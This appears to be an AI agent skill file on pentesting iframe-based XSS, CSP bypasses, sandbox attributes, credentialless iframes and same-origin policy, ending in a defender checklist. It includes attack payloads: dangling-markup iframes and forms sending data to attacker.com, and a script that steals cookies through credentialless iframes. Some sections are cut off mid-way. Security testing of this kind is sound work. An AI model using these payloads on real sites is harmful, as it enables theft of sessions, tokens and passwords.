How to test for iframe-based XSS, CSP bypasses, and SOP violations. Use this skill whenever the user mentions iframes, cross-site scripting, content security policy, sandbox attributes, credentialless iframes, or wants to test web application security around embedded content. Trigger for any pentesting task involving iframe injection, CSP evasion, or same-origin policy testing.
Instrucciones de origen · Vista previa de solo lectura
name
iframe-xss-csp-pentest
description
How to test for iframe-based XSS, CSP bypasses, and SOP violations. Use this skill whenever the user mentions iframes, cross-site scripting, content security policy, sandbox attributes, credentialless iframes, or wants to test web application security around embedded content. Trigger for any pentesting task involving iframe injection, CSP evasion, or same-origin policy testing.
Iframe XSS, CSP & SOP Pentesting
A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.
Quick Reference
# Start local test server
python3 -m http.server 8000
# Test iframe XSS payloads# See sections below for specific attack vectors
Iframe XSS Vectors
Three Content Injection Methods
URL-based src - Load external or same-origin pages
data: protocol - Embed content directly in the URL
// Cross-origin iframe: CANNOT access child.secret (SOP blocks)// Same-origin iframe: CAN access child.secret// srcdoc: CAN access (same origin as parent)// data: protocol: CANNOT access (null origin)console.log(document.getElementById('same-origin').contentWindow.secret);
console.log(document.getElementById('srcdoc').contentWindow.secret);
</script>
Key insight: Only same-origin iframes can access parent/child variables. Cross-origin and data: protocol iframes are blocked by SOP.
CSP Bypass Techniques
Basic CSP Bypass via Iframe
Even with script-src 'none', iframes with URL-based src can execute scripts:
<!-- Parent with restrictive CSP --><metahttp-equiv="Content-Security-Policy"content="script-src 'none'"><iframesrc="malicious.html"></iframe>
<!-- malicious.html (no CSP) --><script>alert(document.cookie);
// Can access parent if same-originalert(parent.secret);
</script>
Why this works: The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass script-src 'none'.
Advanced CSP Bypasses (2023-2025)
1. Dangling Markup / Named Iframe Exfiltration
When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:
<!-- Inject before sensitive content --><iframename="//attacker.com/?">
// On attacker.comconst victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // Contains leaked data up to next quote
Use case: Leaking CSRF tokens, session IDs, or any reflected data when script-src 'none' is enforced.
2. Nonce Reuse via Same-Origin Iframe
If you can inject same-origin HTML, read the nonce from the DOM:
If form-action directive is missing, redirect form submissions:
<!-- Injected iframe or HTML --><iframesrc="https://attacker.com/capture.php"></iframe><formaction="https://attacker.com/capture.php"method="POST"><!-- Password managers may auto-fill here --></form>
Defense: Always include form-action 'self' in CSP.
Testing CSP Bypasses
Use the test server script to verify bypasses:
# Run the test server
python3 scripts/test_csp_bypass.py
# Visit http://localhost:8000 to see:# - Cookie theft with script-src 'self'# - Various iframe configurations
Sandbox Attribute Testing
Default Restrictions
Empty sandbox applies ALL restrictions:
<iframesandbox=""src="page.html"></iframe>
Blocked by default:
Script execution
Form submission
Top-level navigation
Plugin usage
Same-origin access
Auto-play media
Granular Permissions
<!-- Allow scripts only (isolated origin) --><iframesandbox="allow-scripts"src="page.html"></iframe><!-- Allow scripts + same-origin access --><iframesandbox="allow-scripts allow-same-origin"src="page.html"></iframe><!-- Allow top navigation (user activation required in modern browsers) --><iframesandbox="allow-top-navigation-by-user-activation"src="page.html"></iframe><!-- Allow downloads without user activation --><iframesandbox="allow-downloads-without-user-activation"src="page.html"></iframe>
Testing Sandbox Escapes
Check if allow-same-origin is present - enables parent access
Check if allow-scripts is present - enables JS execution
Check if allow-top-navigation is present - enables navigation attacks
Test form submission if allow-forms is present
Credentialless Iframes
What They Do
Chrome 110+ loads iframes without credentials while maintaining SOP:
<!-- Attacker page --><iframeid="credless"src="https://victim.com/login"credentialless><!-- Contains Self-XSS payload in username field --></iframe><iframeid="authed"src="https://victim.com/dashboard"><!-- User is logged in here --></iframe><script>// After Self-XSS executes in credless iframe// Both iframes share same top-level originconst cookie = document.getElementById('authed').contentWindow.document.cookie;
console.log('Stolen cookie:', cookie);
</script>
Requirements:
Self-XSS vulnerability on victim site
User visits attacker page while logged in
Chrome 110+ or equivalent browser
Testing Credentialless Attacks
Check browser support (Chrome 110+, Edge, Firefox 110+)
Look for Self-XSS vectors (user-controlled HTML in profile/settings)
// Parent pageconst iframe = document.getElementById('cross-origin-frame');
// This will FAIL if iframe is cross-origintry {
console.log(iframe.contentWindow.document.cookie);
} catch (e) {
console.log('SOP blocked access:', e.message);
}
// Use postMessage for cross-origin communication
iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');
Testing SOP Violations
Check iframe origins - Same-origin vs cross-origin
Test parent access - Can parent read iframe content?
Test child access - Can iframe read parent content?
Test postMessage - Is message origin validation present?
Check for null origin - data: protocol iframes
Defensive Checklist
For Defenders
Include ALL CSP directives: form-action, frame-src, child-src, object-src
Use strict-dynamic with nonces, don't rely on nonce secrecy
